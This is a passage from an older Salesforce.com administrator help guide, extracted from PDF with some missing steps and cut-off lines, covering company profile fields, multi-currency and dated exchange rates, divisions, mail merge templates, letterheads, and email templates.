Address Street address of the organization. Up to 255 characters are
allowed in this field.
Admin Newsletter Allow administrators in your organization to choose whether
they want to receive administrator-targeted promotional emails
from salesforce.com.
API Requests, Last 24 Hours The total number of API requests issued by the organization
in the last 24 hours. The maximum number of requests
depends on your Edition. For a list of request limits by
Edition, see Force.com API Usage Limits on page 1659. For
more information about API usage notification, see About
API Usage Notifications on page 705 or the Web Services API
Developer's Guide.
City City in which organization is located. Up to 40 characters are
allowed in this field.
Corporate Currency The currency in which the organization's corporate
headquarters reports revenue. Serves as the basis for all
currency conversion rates. Only for organizations that use
multiple currencies.
Country Country in which organization is located. Up to 40 characters
are allowed in this field.
Created By User who signed up the organization, including creation date
and time. (Read only)
Currency Locale The country or geographic region in which the organization
is located. The setting affects the format of currency amounts.
For single currency organizations only.
Default Language The default language that is selected for new users in the
organization. This setting determines the language used for
the user interface text and help. In all editions except Personal
Edition, individual users can separately set the language for
their own login, which will override the organization setting.
In Group Edition, this field is called Display Language.
398
Company Information Company Information Fields
Field Description
This setting also determines the language in which all
customizations—such as custom fields, tabs, and user interface
options—are stored. For customizations, individual users'
language settings do not override this setting.
Default Locale The default country or geographic region that is selected for
new users in the organization. This setting determines the
format of dates, times, and names in Salesforce.com. In
Contact Manager, Group, Professional, Enterprise, Unlimited,
and Developer Edition organizations, individual users can set
their personal locale, which overrides the organization setting.
In Group Edition, this field is called Locale.
Default Time Zone Primary time zone in which the organization is located. A
user's individual Time Zone setting overrides the
organization's Default Time Zone setting.
Note: Organizations in Arizona should select “Mountain
Standard Time,” and organizations in parts of Indiana that
do not follow Daylight Savings Time should select “Eastern
Standard Time.”
Division Group or division that uses the service, for example, PC Sales
Group. Up to 40 characters are allowed in this field.
Fax Fax number. Up to 40 characters are allowed in this field.
Fiscal Year Starts In If using a standard fiscal year, the starting month and year for
the organization’s fiscal year. If using a custom fiscal year, the
value will be “Custom Fiscal Year.”
Hide Notices About System Downtime Select this checkbox to prevent advance notices about planned
system downtime from displaying to users when they log in
to Salesforce.com.
Hide Notices About System Maintenance Select this checkbox to prevent advance notices about planned
system maintenance from displaying to users when they log
in to Salesforce.com.
Modified By User who last changed the company information, including
modification date and time. (Read only)
Newsletter Allow users in your organization to choose whether they want
to receive user-targeted promotional emails from
salesforce.com.
Organization Name Name of the organization. Up to 80 characters are allowed in
this field.
Phone Main phone number at organization. Up to 40 characters are
allowed in this field.
399
Company Information Company Information Fields
Field Description
Primary Contact Person who is main contact or administrator at the
organization. You can enter a name, or select a name from a
list of previously defined users. Up to 80 characters are allowed
in this field.
Salesforce.com Licenses Number of Salesforce.com user accounts that can be defined
for access to the service. This is the number of Salesforce.com
user licenses for which the organization is billed, if charges
apply.
Salesforce.com Organization ID Code that uniquely identifies your organization to
salesforce.com.
Restricted Logins, Current Month Number of restricted login users who have logged in during
the current month.
This value resets to zero at the beginning of each month. The
maximum number of restricted login users for the organization
is in parentheses.
See Also:
About Company Information
Understanding Language, Locale, and Currency
400
Multiple Currencies Managing Multiple Currencies
MULTIPLE CURRENCIES
Your organization can set up the ability to use multiple currencies in opportunities, forecasts, quotes, reports, and other data.
To set up multiple currencies:
In forecasts, currency amounts are automatically converted to the user’s personal currency. For managers, their team’s
opportunities, forecasts, quotes, and other data is converted and rolled up to the manager’s personal currency. The manager
can also drill down to see the data in its native currency. All conversion and roll-ups happen automatically.
401
Multiple Currencies Setting Corporate Currency
Amounts in reports are shown in their original currencies, but can be displayed in any active currency. You can change the
currency used for report totals by selecting a currency from the Display Currencies Using drop-down list on the Select Criteria
page of the report wizard. The default value for the drop-down is your personal currency. For any amount, you can also choose
to display the Converted column—for example, Annual Revenue Converted—which will show amounts in the currency
you select from the Display Currencies Using drop-down list.
Custom formula fields are not tied to any particular currency. If the result of a formula field is a currency amount, it displays
in the currency of the associated record. This is also true for cross-object formulas that reference merge fields with different
currencies, and formulas in workflow rules and approval processes. However, note that workflow rules and approval processes
that use filters instead of formulas convert all currency values to the corporate currency.
You cannot disable multiple currencies for your organization if the currency fields are referenced in an Apex script. For example,
if a script references the Account Currency field (represented as CurrencyIsoCode in the code), multiple currencies
cannot be disabled. For more information, see Force.com Apex Code Overview on page 1538.
See Also:
Administrator setup guide: Using Multiple Currencies
Importing Multiple Currencies
Your administrator must specify a Corporate Currency, which reflects the currency in which your corporate headquarters
reports revenue. A salesforce.com representative initially sets your corporate currency upon activation of the feature.
To change your corporate currency:
The corporate currency is the currency on which all of your conversion rates are based.
See Also:
Managing Multiple Currencies
Editing Conversion Rates
About Advanced Currency Management
Administrator setup guide: Using Multiple Currencies
402
Multiple Currencies Activating and Deactivating Currencies
To use multiple currencies, your administrator must specify which currencies are supported for your organization.
• Active currencies—These represent countries in which your organization does business. Only active currencies can be
entered in opportunities, forecasts, and other items. Once you activate a currency, you can never permanently delete it.
• Inactive currencies—These are currencies that your organization no longer uses. You may have existing records that use
inactive currencies, but you cannot enter new amounts in inactive currencies.
To activate a currency from the list of inactive currencies, click Activate next to the currency.
To deactivate a currency, click Deactivate next to the currency. Deactivating a currency does not alter amounts in items that
use that currency. However, you can no longer enter new amounts using the inactive currency.
Note: Deactivating a currency that is set as a user’s personal currency automatically resets the user’s currency to the
corporate currency.
See Also:
Managing Multiple Currencies
Setting Corporate Currency
Editing Conversion Rates
About Advanced Currency Management
Administrator setup guide: Using Multiple Currencies
403
Multiple Currencies Editing Conversion Rates
You can manage exchange rates between your active and inactive currencies and the corporate currency by editing the conversion
rates. These are static exchange rates that apply to all currency fields used in your organization. In addition to these conversion
rates, your organization may also use dated exchange rates for opportunities and opportunity products. For more information
about dated exchange rates, see About Advanced Currency Management on page 405.
To edit your organization's static conversion rates:
When you change the conversion rates, currency amounts are updated using the new rates. Previous conversion rates are not
stored. All conversions within opportunities, forecasts, and other amounts use the current conversion rate.
If your organization uses advanced currency management, you can also manage dated exchange rates for currency fields on
opportunities and opportunity products. To manage dated exchange rates, see Editing Dated Exchange Rates on page 407.
See Also:
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Administrator setup guide: Using Multiple Currencies
404
Advanced Currency Management About Advanced Currency Management
Advanced Currency Management allows you to manage dated exchange rates within opportunities using Salesforce.com.
Dated exchange rates allow you to map a conversion rate to a specific date range. For example, the exchange rate on January
1 was 1 USD to 1.39 AUD, but on February 1, it changed to 1 USD to 1.42 AUD. Your opportunities that closed between
January 1 and February 1 use the first exchange rate (1 = 1.39), while opportunities that closed after February 1 used the second
exchange rate (1 = 1.42).
Dated exchange rates are defined using a start date and a conversion rate. Each rate is in effect until either the end of time or
the day before the next start date for that currency. The time between on start date and the next start date is called the exchange
rate date range. These ranges can be as small as a day and as large as all of time.
To enable or disable advanced currency management, see Enabling or Disabling Advanced Currency Management on page
406.
When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated
exchange rates. These rates will be valid for all time, until you define another set of exchange rates. For more information, see
Editing Dated Exchange Rates on page 407.
If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion
Rates on page 404.
405
Advanced Currency Management Enabling or Disabling Advanced Currency Management
• If Advanced Currency Management is enabled, you can't bind Visualforce pages that use <apex:inputField> or
<apex:outputField> components to currency fields that support Advanced Currency Management.
See Also:
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Administrator setup guide: Using Multiple Currencies
1. Enable multiple currencies for your organization. For more information, see Managing Multiple Currencies on page 401.
2. Click Setup ➤ Company Profile ➤ Manage Currencies.
3. Click Enable.
4. When prompted, select Yes, I want to enable Advanced Currency Management and click Enable.
When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated
exchange rates. These rates will be valid for all time, until you define another set of exchange rates.
To disable advanced currency management:
If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion
Rates on page 404.
When advanced currency management is enabled, Visualforce <apex:inputField> and <apex:outputField> components
cannot display currency fields.
See Also:
About Advanced Currency Management
406
Advanced Currency Management Editing Dated Exchange Rates
407
Divisions About Divisions
5. Edit the exchange rate, setting it to the new value for the date range, and click Save.
See Also:
About Advanced Currency Management
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Editing Conversion Rates
Administrator setup guide: Using Multiple Currencies
DIVISIONS
About Divisions
Available in: Professional, Enterprise, and Unlimited Editions
Divisions let you segment your organization's data into logical sections, making searches, reports, and list views more meaningful
to users. For example, you can create a report to show the opportunities for just the North American division, allowing you
to get accurate sales numbers for the North American sales team. Divisions are useful for organizations with extremely large
amounts of data.
Note: Contact salesforce.com to enable divisions for your organization. Divisions do not restrict users’ access to data
and are not meant for security purposes.
See Also:
Overview of Divisions
Getting Started with Divisions
Creating and Editing Divisions
Transferring Divisions
Changing Your Working Division
Changing Your Default Division
Administrator tip sheet: Getting Started with Divisions
408
Divisions Overview of Divisions
Overview of Divisions
Available in: Professional, Enterprise, and Unlimited Editions
• Division on individual records—Division is a field on individual records which marks the record as belonging to a particular
division. A record can belong to a division that the administrator creates, or it can belong to the standard “global” division
which is created automatically when your organization enables divisions.
• Default division for a user—Users are assigned to a default division that applies to their newly created accounts, leads,
and custom objects that are enabled for divisions.
• Working division—If you have the “Affected by Divisions” permission, you set the division in which you want to work
using a drop-down list in the sidebar. Then, searches will show only the data for your working division. You can change
your working division at any time. If you do not have the “Affected by Divisions” permission, you do not have a working
division; you always see records in all divisions.
The following table shows how using divisions affects different areas:
Area Description
Search If you have the “Affected by Divisions” permission:
• In Sidebar Search, you can select a working division to
search, or you can search all divisions.
• In Advanced Search, you can perform an advanced search
on a working division or all divisions.
• For searches in lookup dialogs, the results include records
in the division you select from the drop-down list in the
lookup dialog window.
List views If you have the “Affected by Divisions” permission, list views
include only the records in the division you specify when
creating or editing the list view. List views that are not
409
Divisions Overview of Divisions
Area Description
searching all records (such as My Open Cases) include records
in all divisions.
If you do not have the “Affected by Divisions” permission,
your list views always include records in all divisions.
Viewing records and related lists When viewing the detail page of a record, the related lists
show all associated records to which you have access, regardless
of division.
Creating new records When you create new accounts, leads, or custom objects that
are enabled for divisions, the division is automatically set to
your default division, unless you override this setting.
When you create new records related to an account or other
record that already has a division, the new record is assigned
to the existing record’s division. For example, if you create a
custom object record that is on the detail side of a master-detail
relationship with a custom object that has divisions enabled,
it is assigned the master record's division.
When you create records that are not related to other records,
such as private opportunities or contacts not related to an
account, the division is automatically set to the global division.
Editing records When editing accounts, leads, or custom objects that are
enabled for divisions, you can change the division. All records
that are associated through a master-detail relationship are
automatically transferred to the new division as well. For
example, contacts and opportunities are transferred to the new
division of their associated account, and detail custom objects
are transferred to their master record's new division.
When editing other types of records, you cannot change the
division setting.
410
Divisions Getting Started with Divisions
Area Description
Custom objects When you enable divisions for a custom object, Salesforce.com
initially assigns each record for that custom object to the global
division.
When you create a custom object record:
See Also:
Getting Started with Divisions
Administrator tip sheet: Getting Started with Divisions
About Divisions
411
Divisions Creating and Editing Divisions
2. Create divisions for your organization's data. See Creating and Editing Divisions on page 412.
Before creating divisions, plan which divisions you need based on how you want to segment your data. For example, you
may want one division for all of the records belonging to your North American sales team and one division for your
European sales team. You can create a maximum of 100 divisions, including any inactive ones.
3. For custom objects, select Enable Divisions on the custom object definition page to enable for divisions. See Defining
Custom Objects on page 1369.
4. Transfer leads, accounts, and custom objects into relevant divisions. See Transferring Divisions on page 607.
Transferring records includes associated records. For example, when you transfer divisions for accounts, all records related
to a particular account, such as contacts and opportunities, inherit the division of that account.
5. Add division fields to page layouts, as appropriate.
6. Add divisions to field-level security, as appropriate.
7. Enable the “Affected by Divisions” permission for any standard or custom profiles whose users should be able to limit list
views, searches, and reports by division. Users without this permission still have a default division, can view division fields,
change the division for a record, and specify a division while creating records.
8. Set the default division for all users. See Transferring Divisions on page 607. See also Changing Your Default Division on
page 33 for information on changing divisions for one user at a time.
A user’s default division determines the division assigned to all new accounts and leads he or she creates, unless the user
explicitly sets a different division. When users create records related to an account or other record that already has a division,
the new record is assigned to the existing record’s division; the default division is not used.
Remember to set the default division for all users, even those without the “Affected by Divisions” permission. Records
created by users without that permission are still assigned to a division.
9. Instruct users how to set their working division for searches and reports. See Changing Your Working Division on page
51.
See Also:
Overview of Divisions
Administrator tip sheet: Getting Started with Divisions
About Divisions
412
Divisions Managing Templates
To change the order in which divisions appear in the Division picklist field, click the Sort button and use the arrows to order
the divisions.
See Also:
About Divisions
Overview of Divisions
Getting Started with Divisions
Administrator tip sheet: Getting Started with Divisions
Managing Templates
Available in: All Editions
Your administrator can create and maintain templates for defining letterheads, sending outbound email, and generating mail
merge documents.
• Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo,
color, and text settings from a letterhead.
• Email templates allow users to send email to contacts, leads, and others using predefined templates.
• Mail merge templates allow users to create custom documents using the information from your records. For example, you
can create a customized thank you letter to a specific lead.
See Also:
Creating Letterheads
Managing Email Templates
Managing Mail Merge Templates
Merge Fields Overview
413
Divisions Managing Templates
You can use merge fields within custom formula fields, s-controls, custom links, custom buttons, Visualforce pages, and when
you create email or mail merge templates. Merge fields serve as placeholders for data that will be replaced with information
from your records, user information, or company information.
• Merge field guidelines for email templates and mail merge templates:
- In email templates, you can add substitute text to any merge field. Substitute text displays in a sent email if the merge
record does not contain data for that field. To add substitute text, place a comma after the field name and enter the
text before the closing bracket, for example: Dear {!Contact.FirstName, Sir or Madam}. When you save the
template, the merge field will appear in the email template with the following syntax: Dear
{!BLANKVALUE(Contact.FirstName, "Sir or Madam")}.
- For mail merge templates, your merge fields can contain only letters, numbers, and the underscore (_) character. For
example, Opportunity_Product_# is not allowed. Mail merge field names cannot exceed 40 characters.
- Templates with contact merge fields can be used to generate email and mail merge documents for leads. Likewise, you
can use lead templates to generate contact emails and documents.
Note: You can only use standard fields when generating email and mail merge documents for leads or contacts.
414
Divisions Managing Templates
- For opportunity mail merges, you can use contact merge fields to merge additional information about a related contact.
- Merge fields for entitlements on cases aren't supported. For example, if you add the Entitlement Name
{!Case.Entitlement} merge field to an email template, the field is not populated on the template. See Case Fields
on page 2294.
- If you have enabled Email-to-Case or On-Demand Email-to-Case, you can create email templates that support reps
can use to respond to case emails. These templates can include merge fields that display information from the original
email in the response. For details, see Setting Up Email-to-Case or On-Demand Email-to-Case on page 1102 and
Managing Email Templates on page 423.
- Merge fields for products on opportunities are only available to organizations that have enabled products and can only
be used in mail merge templates, but not email templates.
- Approval process merge fields can be used in email templates, but not mail merge templates.
- If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these
fields will return values only when that email template is used as the approval assignment template. If you use the
template for any other email alert action—in either workflow rules or approval processes—the merge fields will return
a null value.
- In a multi-step approval process:
- Merge fields in the approval request email are set to the submitter's name and the name of the first step.
- When the request is approved, the merge fields update to the most recent approver's name and the name of the
second step.
- For subsequent actions, merge field values are updated based on the previous completed step.
415
Divisions Managing Mail Merge Templates
- Build cross-object formulas to span to related objects and reference merge fields on those objects.
- Visualforce pages also can use merge fields. Anything inside {! } is evaluated as an expression that can access values
from records that are currently in context. For example, you can display the current user's first name by adding the
{!$User.FirstName} merge field to a page:
<apex:page>
Hello {!$User.FirstName}!
s</apex:page>
See Also:
Setting Custom Buttons and Links
Managing Mail Merge Templates
Understanding Global Variables
Mail merge templates define the content of a form letter or other mail merge document. They include variables called merge
fields where data from your records—for example a contact's name and address—displays in the generated document.
As an administrator, you are responsible for building mail merge templates in Microsoft Word and uploading them to
Salesforce.com to make them available for your users. See the following topics:
• Creating New Mail Merge Templates on page 417 explains how to build a new mail merge template from a blank Word
document.
• Modifying Existing Mail Merge Templates on page 418 explains how to download sample templates and modify them to
meet your unique business needs.
• Uploading Mail Merge Templates to Salesforce.com on page 419 explains how to upload completed mail merge templates
to Salesforce.com.
Tip: Click the following link to download a Zip file of sample mail merge templates: mm_templates.zip
See Also:
Mail Merge Overview
Sending Single Mail Merge Documents
416
Divisions Managing Mail Merge Templates
• If you have Connect for Office, you can use Word integration to insert merge fields quickly.
• If you do not have Connect for Office:
Note: To list information about all products associated with an opportunity, insert the
Opportunity_LineItem_Start merge field where you want to begin listing product information. Then,
insert all the merge fields you want to include for each product on an opportunity. Finally, insert the
Opportunity_LineItem_End to end the list.
• Do not configure mail merge templates as “protected” or “restricted access” in Microsoft Word. Please refer to
Word's help for information about protected Word documents. (In Word, press F1 to open help.)
• Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please
refer to Word's help for information about restoring mail merge documents to what Word calls “normal Word
documents.”
417
Divisions Managing Mail Merge Templates
For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge
Templates.
See Also:
Managing Mail Merge Templates
Mail Merge Overview
Force.com Connect for Microsoft Office® Overview
1. Download the sample mail merge templates and unzip the files to a convenient directory on your hard drive.
2. Review the instructions provided in salesforce_mailmerge_templates_howto.doc.
3. Open the desired sample template in Microsoft Word.
4. Save a copy of the sample template to your computer's desktop or other convenient location:
• Word 2000, XP, and 2003 users, select Save As from the File menu then choose an appropriate file name and destination
folder.
• Word 2007 users, select Save As from the Office button then choose an appropriate file name and destination folder.
• If you have Connect for Office, you can use Word integration to insert merge fields quickly.
• If you do not have Connect for Office:
418
Divisions Managing Mail Merge Templates
f. Click OK.
Note: To list information about all products associated with an opportunity, insert the
Opportunity_LineItem_Start merge field where you want to begin listing product information. Then,
insert all the merge fields you want to include for each product on an opportunity. Finally, insert the
Opportunity_LineItem_End to end the list.
• Do not configure mail merge templates as “protected” or “restricted access” in Microsoft Word. Please refer to
Word's help for information about protected Word documents. (In Word, press F1 to open help.)
• Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please
refer to Word's help for information about restoring mail merge documents to what Word calls “normal Word
documents.”
For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge
Templates.
See Also:
Managing Mail Merge Templates
Merge Fields Overview
Mail Merge Overview
Force.com Connect for Microsoft Office® Overview
Administrators and users with the “Manage Public Templates” permission must upload completed Microsoft Word mail
merge templates to Salesforce.com to make them available for use.
Tip: Before uploading a template, we recommend reviewing Guidelines for Uploading Mail Merge Templates.
419
Divisions Using Letterheads
3. Enter a name and description for the template. This will help users correctly choose a template when generating mail
merge documents.
If your organization uses Extended Mail Merge, choose the appropriate document type: Document, Label, or Envelope.
Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in this
feature.
4. Click Browse to select your Word mail merge template.
5. Click Save to finish.
See Also:
Managing Mail Merge Templates
Merge Fields Overview
Mail Merge Overview
Using Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
A letterhead defines the logo, page color, and text settings for your HTML email templates. For best results, create a single
letterhead to use for all your HTML email templates. You can create letterheads and make them available organization-wide.
To use letterheads, click Setup ➤ Communication Templates ➤ Letterheads.
From the Letterheads list page:
See Also:
Creating Letterheads
Letterhead Fields
420
Divisions Using Letterheads
Creating Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo, color,
and text settings from a letterhead. A letterhead consists of properties and details. The properties are only visible inside your
organization; they help users identify a letterhead. The details are applied to an email when using that letterhead. Use the
letterhead wizard to create both the properties and details of your letterhead.
1. Click Setup ➤ Communication Templates ➤ Letterheads.
2. Click New Letterhead.
421
Divisions Using Letterheads
• Click Edit Footer Properties, and select a color, alignment, and height for the bottom section of the letterhead.
• Click Edit Bottom Line, and select a color and height of a bottom horizontal line. Click the color picker button to
choose a color.
See Also:
Managing Email Templates
Creating Custom HTML Email Templates
Letterhead Fields
Here is a description, in alphabetical order, of the fields that appear on the Letterhead Detail page.
Field Description
Available For Use Check mark that indicates the letterhead can be applied to an
HTML template.
Created By Name of the user who created the letterhead, including the
date and time.
Description Text that helps distinguish this letterhead from others.
Letterhead Label Internal name to identify the letterhead.
Letterhead Unique Name This is a unique name used to refer to the component when
using the Force.com API. In managed packages, this unique
name prevents naming conflicts on package installations. This
name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an
underscore, and not contain two consecutive underscores.
With the Letterhead Unique Name field, a developer can
change certain components' names in a managed package and
the changes are reflected in a subscriber's organization.
Modified By Name of the user who last modified the letterhead, including
the date and time.
422
Divisions Managing Email Templates
Field Description
Namespace Prefix The namespace prefix used by the email template within the
API.
See Also:
Creating Letterheads
• Text - All users can create or change text email templates. See Creating Text Email Templates on page 425.
• HTML with letterhead - Administrators and users with the “Edit HTML Templates” permission can create HTML
email templates based on a letterhead. See Creating HTML Email Templates on page 427.
• Custom HTML - Administrators and users with the “Edit HTML Templates” permission can create custom HTML
email templates without using a letterhead. You must either know HTML or obtain the HTML code to insert in your
email template. See Creating Custom HTML Email Templates on page 432.
• Visualforce - Administrators and developers can create templates using Visualforce. Visualforce email templates allow for
advanced merging with a recipient's data, where the content of a template can contain information from multiple records,
see Creating Visualforce Email Templates.
All of these email templates can include text, merge fields, and attached files. You can also include images on your HTML
and Visualforce templates. You can use email templates when you send an email from the Activity History related list of a
record. Text and HTML templates can also be used when you send mass email. A button to check the spelling of your template
is available for text templates and Visualforce templates without HTML tags.
Note: You cannot send a mass email using a Visualforce email template.
To manage your personal email templates, click Setup ➤ Email ➤ My Templates. If you have permission to manage public
email templates, click Setup ➤ Communication Templates ➤ Email Templates.
423
Divisions Managing Email Templates
• Click on the name of any email template to go to the Viewing Email Templates page.
• To edit or delete a template, click Edit or Del next to the template name in the list.
• Click New Template to create any type of email template.
Note: Email templates used in the following features must be both public and active:
• Web-to-Lead
• Web-to-Case
• Email-to-Case or On-Demand Email-to-Case
• Assignment rules
• Escalation rules
• Auto-response rules
See Also:
Cloning Email Templates
Using Letterheads
Developer's Guide: Visualforce Developer's Guide
Administrator tip sheet: Tips for Using HTML Email Templates
To view a template, click the template name in the list. The options vary depending on the template type (custom, HTML,
Visualforce, or text):
• For text templates, click Edit to change the message content, subject, or merge fields.
• For custom and HTML templates:
- Click Edit HTML Version to change the content or merge fields of the HTML version.
Note: All custom and HTML email templates include a text-only version for recipients who are unable to
read HTML emails. If you leave the text-only version blank, the text-only version is automatically generated
when you edit the HTML version.
424
Divisions Managing Email Templates
- Click Edit Text Version to change the content or merge fields of the text-only version.
Note: Salesforce.com recommends that you leave the text-only version blank. When you leave the text-only
version blank, Salesforce.com automatically creates the text-only content based on the current HTML version.
If you choose not to leave the text-only version blank and instead manually create a text-only version, edits to
the HTML version are not reflected in the text-only version.
• Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you choose
and send a test email.
• Click Attach File from the Attachments related list to add an attachment to the template. The attached file is included
in every email that uses the template.
To select a file:
- Click the Search in Documents link to search for files in the Documents tab. If you select an image logo or other
graphic file, make sure the document is marked as Externally Available on the Documents tab so all email
recipients can view the image.
- Alternatively, choose an option from the File Location drop-down list to select a file from your computer or from a
document folder.
• If you have the “Manage Public Templates” permission, you can click [Change] next to the Author field to select a
different author. Initially, the author is the person who created the email template.
• Click Delete to remove the template.
• Click Clone to clone a template. For more information, see Cloning Email Templates on page 434.
• If “Developer Mode” is enabled, click Show Dependencies to see what components the template references. For more
information, see Understanding Dependencies on page 1513.
See Also:
Managing Email Templates
Email Template Fields
Managing Version Settings for Visualforce Email Templates
1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click New Template.
3. Choose the Text template type, and click Next.
425
Divisions Managing Email Templates
Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records
you choose and send a test email.
The attached file is included in every email that uses the template. Note that attachments in mass emails are sent as links
rather than as physical files (see Sending Mass Email on page 211).
See Also:
Managing Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
Cloning Email Templates
426
Divisions Managing Email Templates
427
Divisions Managing Email Templates
Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records
you choose and send a test email.
See Also:
Creating Text Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
Cloning Email Templates
Creating Letterheads
Adding Images to Email Templates
Cloning Email Templates
1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click New Template.
3. Choose Visualforce and click Next.
You cannot send a mass email using a Visualforce email template..
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. If necessary, change the Template Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Template
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
8. Select an Encoding setting to determine the character set for the template.
9. Enter a Description of the template. Both template name and description are for your internal use only.
428
Divisions Managing Email Templates
10. Enter the subject line for your template in Email Subject.
11. In the Recipient Type drop-down list, select the type of recipient that will receive the email template.
12. In the Related To Type drop-down list, optionally select the object from which the template will retrieve merge field
data.
13. Click Save.
14. On the Viewing Email Templates page, click Edit Template.
15. Enter markup text for your Visualforce email template.
Note: If you are including an image, we recommend uploading it to the Documents tab so that you can reference the copy of t
<apex:image id="Logo"
value="https://na1-blitz02.soma.salesforce.com/servlet/servlet.ImageServer?id=015D0000000Dpwc&o
width="64" height="64"/>
16. Click Version Settings to specify the version of Visualforce and the API used with this email template. If your organization
has installed managed packages from the AppExchange, you can also specify which version of each managed package to
use with this email template. Generally, you should use the default value for all versions. This associates the email template
with the most recent version of Visualforce, the API, as well as each managed package. You can specify an older version
of Visualforce and the API to maintain specific behavior. You can specify an older version of a managed package if you
want to access components or functionality that differs from the most recent package version.
17. Click Save to save your changes and view the details of the template, or click Quick Save to save your changes and continue
editing your template. Your Visualforce markup must be valid before you can save your template.
Note: The maximum size of a Visualforce email template is 1 MB.
You cannot send a mass email using a Visualforce email template. The merge fields
{!Receiving_User.field_name} and {!Sending_User.field_name} work only for mass email and are
unavailable in Visualforce email templates.
Tip:
• Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records you
choose and send a test email.
• To translate Visualforce email templates based on recipients' or related objects' languages, use the
<messaging:emailTemplate> tag's language attribute (valid values: Salesforce.com supported language keys,
for example, “en-US”). The language attribute accepts merge fields from the email template's recipientType
429
Divisions Managing Email Templates
and relatedToType attributes. You create custom language fields for use in the merge fields. The Translation
Workbench is required to translate email templates.
See Also:
Visualforce Overview
Managing Version Settings for Visualforce Email Templates
Adding Images to Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Viewing Email Templates
Cloning Email Templates
Creating Letterheads
Cloning Email Templates
Developer's Guide: Visualforce Developer's Guide
To aid backwards-compatibility, each Visualforce email template is saved with version settings for the specified version of
Visualforce and the API. If the Visualforce email template references installed managed packages, the version settings for each
managed package referenced by the Visualforce component are saved too. This ensures that as Visualforce, the API and the
components in managed packages evolve in subsequent versions, a Visualforce email template is still bound to versions with
specific, known behavior.
The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor
numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch
release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
To set the Salesforce.com API and Visualforce version for an existing Visualforce email template:
1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click the Email Template Name for the Visualforce email template.
3. Click Edit Template and then click Version Settings.
4. Select the Version of the Salesforce.com API. This is also the version of Visualforce used with this template.
430
Divisions Managing Email Templates
5. Click Save.
1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click the Email Template Name for the Visualforce email template.
3. Click Edit Template and then click Version Settings.
4. Select a Version for each managed package referenced by the Visualforce email template. This version of the managed
package will continue to be used by the Visualforce email template if later versions of the managed package are installed,
unless you manually update the version setting. To add an installed managed package to the settings list, select a package
from the list of available packages. The list is only displayed if you have an installed managed package that is not already
associated with the Visualforce email template.
5. Click Save.
• If you save a Visualforce email template that references a managed package without specifying a version of the managed
package, the Visualforce email template is associated with the latest installed version of the managed package by default.
• You cannot Remove a Visualforce email template's version setting for a managed package if the package is referenced by
the Visualforce email template.
See Also:
Creating Visualforce Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Custom HTML Email Templates
Viewing Email Templates
Cloning Email Templates
Cloning Email Templates
Developer's Guide: Visualforce Developer's Guide
Option Description
Font Choose a character style. Select the text you want applied to a font and then choose the appropriate
font.
Size Choose a character size. Select the text you want applied to the size and then choose the size.
Insert a graphic from the documents library. This option is not available when doing some actions
such as creating custom home page components.
Choose a background color
431
Divisions Managing Email Templates
Option Description
Choose a font color
Underline text
Insert a new hyperlink or edit an existing link. Select the text you want to link, click this button,
and enter the URL for the link. To use a merge field such as {!Case_Link} as the destination of
the link, insert the merge field after the http://.
Left justify text
Center text
Bullet a list
Number a list
1. Click Setup ➤ Email ➤ My Templates. If you have permission to edit public templates, click Setup ➤ Communication
Templates ➤ Email Templates.
2. Click New Template.
3. Choose Custom (without using Letterhead) and click Next.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
432
Divisions Managing Email Templates
<img
src="https://na2.salesforce.com/servlet/servlet.ImageServer?id=015D0000000Dpwc&oid=00DD0000000F
alt="Company Logo" height="64" width="64"/>
13. Optionally, enter merge fields in the template subject and body. These fields will be replaced with information from your
lead, contact, account, opportunity, case, or solution when you send an email. For details about using merge fields, see
Merge Fields Overview on page 414.
14. Click Next.
